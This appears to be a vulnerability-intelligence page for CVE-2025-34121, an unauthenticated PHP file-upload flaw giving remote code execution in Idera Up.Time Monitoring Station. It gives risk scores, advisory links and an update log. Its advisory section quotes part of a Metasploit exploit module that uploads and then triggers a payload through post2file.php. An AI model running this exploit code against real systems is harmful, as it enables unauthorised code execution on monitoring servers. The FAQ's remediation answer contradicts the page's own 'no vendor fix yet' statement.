CVE-2025-34121

CRITICALNVD 9.39.3—
EchelonGraph scoreMEDIUM confidence

This critical-severity CVE scores 9.3 under NVD CVSS v3. EPSS exploit probability: 1.7%, top 25% of all CVEs by exploit prediction. GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: epss, nvd
Weaponized
9.3EG
EchelonGraph verdictPatch this weekExploitation is likely or a public exploit exists.
  • Public exploit code is available (Metasploit, ssvc poc, public exploit)
CISA-KEV: Not listedEPSS PROB: 2%CVSS: 9.3Exploit: Metasploit · ssvc poc · public exploitExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

An unauthenticated arbitrary file upload vulnerability exists in Idera Up.Time Monitoring Station versions up to and including 7.2. The wizards/post2file.php script accepts arbitrary POST parameters, allowing attackers to upload crafted PHP files to the webroot. Successful exploitation results in remote code execution as the web server user. NOTE: The bypass for this vulnerability is tracked as CVE-2015-9263.

CVSS v3
9.3
EG Score
9.3(medium)
EG Risk
83(Attend)
EG Risk 83/100SSVC: Attend

EG Risk is EchelonGraph's 0–100 priority score: it fuses intrinsic severity with real-world exploitation and automatability so you can rank equal-severity CVEs and fix the most dangerous first. Higher = act sooner. Distinct from the 0–10 EG Score (severity).

How it’s computed
Severity93% × 45%
Exploitation65% × 40%
Automatability100% × 15%
Action: Remediate soon — notable exploitation risk.
EPSS PROB
2%
EPSS %ILE
75%
KEV
Not listed

Published

July 16, 2025

Last Modified

April 15, 2026

Advisory Details (4)

Auto-updated Jul 17, 2026
🔬 Proof of concept available. No patch confirmed yet.
generic

Idera Up.Time ≤ 7.2 post2file.php Arbitrary File Upload RCE | Advisories | VulnCheck

https://www.vulncheck.com/advisories/idera-uptime-arbitrary-file-upload-rce
generic🟡 PoC Available

Idera Up.Time Monitoring Station 7.0 - 'post2file.php' Arbitrary File Upload (Metasploit) - PHP remote Exploit

https://www.exploit-db.com/exploits/38732
generic

Wayback Machine

https://web.archive.org/web/20150210113937/http://www.security-assessment.com/files/documents/advisory/Up.Time%207.2%20-%20Arbitrary%20File%20Upload.pdf
generic

<\/title>/ return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response') end return Exploit::CheckCode::Safe('The target is not vulnerable') end def exploit print_status("Uploading PHP to Up.Time server") uri = target_uri.path @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self => true) post_data = ({ "file_name" => @payload_name, "script" => php_payload }) p...

<\/title>/ return Exploit::CheckCode::Appears('The target appears to be vulnerable based on the response') end return Exploit::CheckCode::Safe('The target is not vulnerable') end def exploit print_status("Uploading PHP to Up.Time server") uri = target_uri.path @payload_name = "#{rand_text_alpha(5)}.php" php_payload = get_write_exec_payload(:unlink_self => true) post_data = ({ "file_name" => @payload_name, "script" => php_payload }) print_status("Uploading payload #{@payload_name}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(uri, 'wizards', 'post2file.php'), 'vars_post' => post_data, }) unless res and res.code == 200 and res.body.to_s =~ /<title><\/title>/ fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed") end print_status("Executing payload #{@payload_name}") res = send_request_cgi({ 'uri' => normalize_uri(uri, 'wizards', @payload_name), 'method' => 'GET' }) end end

https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/exploits/multi/http/uptime_file_upload_1.rb

Weakness Classification(2)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 9× in last 7d / 43× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

Showing the most recent 100 of 103 total refreshes for this CVE.

  1. 2026-07-26 14:54 UTCEPSS rescore
  2. 2026-07-25 14:17 UTCEPSS rescore
  3. 2026-07-25 14:17 UTCEPSS rescore
  4. 2026-07-24 14:17 UTCEPSS rescore
  5. 2026-07-23 02:54 UTCEG score recompute
  6. 2026-07-22 14:07 UTCEPSS rescore
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  1. 2026-07-09 19:09 UTCEPSS rescore
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  3. 2026-07-07 13:45 UTCEPSS rescore
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  25. 2026-06-23 21:32 UTCEPSS rescore
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  27. 2026-06-22 14:25 UTCEPSS rescore
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  29. 2026-06-21 14:56 UTCEPSS rescore
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  31. 2026-06-21 01:59 UTCEPSS rescore
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  33. 2026-06-19 19:25 UTCEPSS rescore
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  40. 2026-06-15 17:48 UTCEPSS rescore
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  42. 2026-06-10 22:18 UTCEPSS rescore
  43. 2026-06-10 13:22 UTCEPSS rescore
  44. 2026-06-08 15:57 UTCEG score recompute▲ 9.30
  45. 2026-06-08 15:57 UTCGHSA enrichment
  46. 2026-06-08 14:16 UTCEPSS rescore
  47. 2026-06-08 14:16 UTCEPSS rescore
  48. 2026-06-07 15:24 UTCEPSS rescore
  49. 2026-06-07 15:24 UTCEPSS rescore
  50. 2026-06-06 13:47 UTCEPSS rescore
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  52. 2026-06-05 22:46 UTCEPSS rescore
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  59. 2026-05-31 00:16 UTCEPSS rescore
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  63. 2026-05-22 21:16 UTCEPSS rescore
  64. 2026-05-22 21:16 UTCEPSS rescore
  65. 2026-05-21 11:07 UTCEG score recompute
  66. 2026-05-21 11:07 UTCGHSA enrichment
  67. 2026-05-20 22:37 UTCEPSS rescore
  68. 2026-05-20 22:37 UTCEPSS rescore
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  73. 2026-05-20 11:21 UTCEPSS rescore
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  75. 2026-05-20 11:21 UTCEPSS rescore

Publicly available exploits

(1 reference)

Working exploit code is in the public domain (1 Metasploit module). Defenders should treat patch urgency accordingly — public PoCs typically lead to mass-exploitation within 24-72 hours.

  • Metasploitexploit/multi/http/uptime_file_upload_1✓ verified
    First seen Nov 19, 2013

    Idera Up.Time Monitoring Station 7.0 post2file.php Arbitrary File Upload

    Open source ↗

Related CVEs(same CWE)

Frequently asked(5)

What is CVE-2025-34121?
CVE-2025-34121 is a critical vulnerability published on July 16, 2025. An unauthenticated arbitrary file upload vulnerability exists in Idera Up.Time Monitoring Station versions up to and including 7.2. The wizards/post2file.php script accepts arbitrary POST parameters, allowing attackers to upload crafted PHP files to the webroot. Successful exploitation results in…
When was CVE-2025-34121 disclosed?
CVE-2025-34121 was first published in the National Vulnerability Database on July 16, 2025, with the most recent update on April 15, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
Is CVE-2025-34121 actively exploited?
CVE-2025-34121 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 2% probability of exploitation in the next 30 days, which ranks it in the top 25.4% of all scored CVEs.
What is the CVSS score of CVE-2025-34121?
CVE-2025-34121 has a CVSS v3 base score of 9.3 (NVD).
How do I remediate CVE-2025-34121?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2025-34121, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

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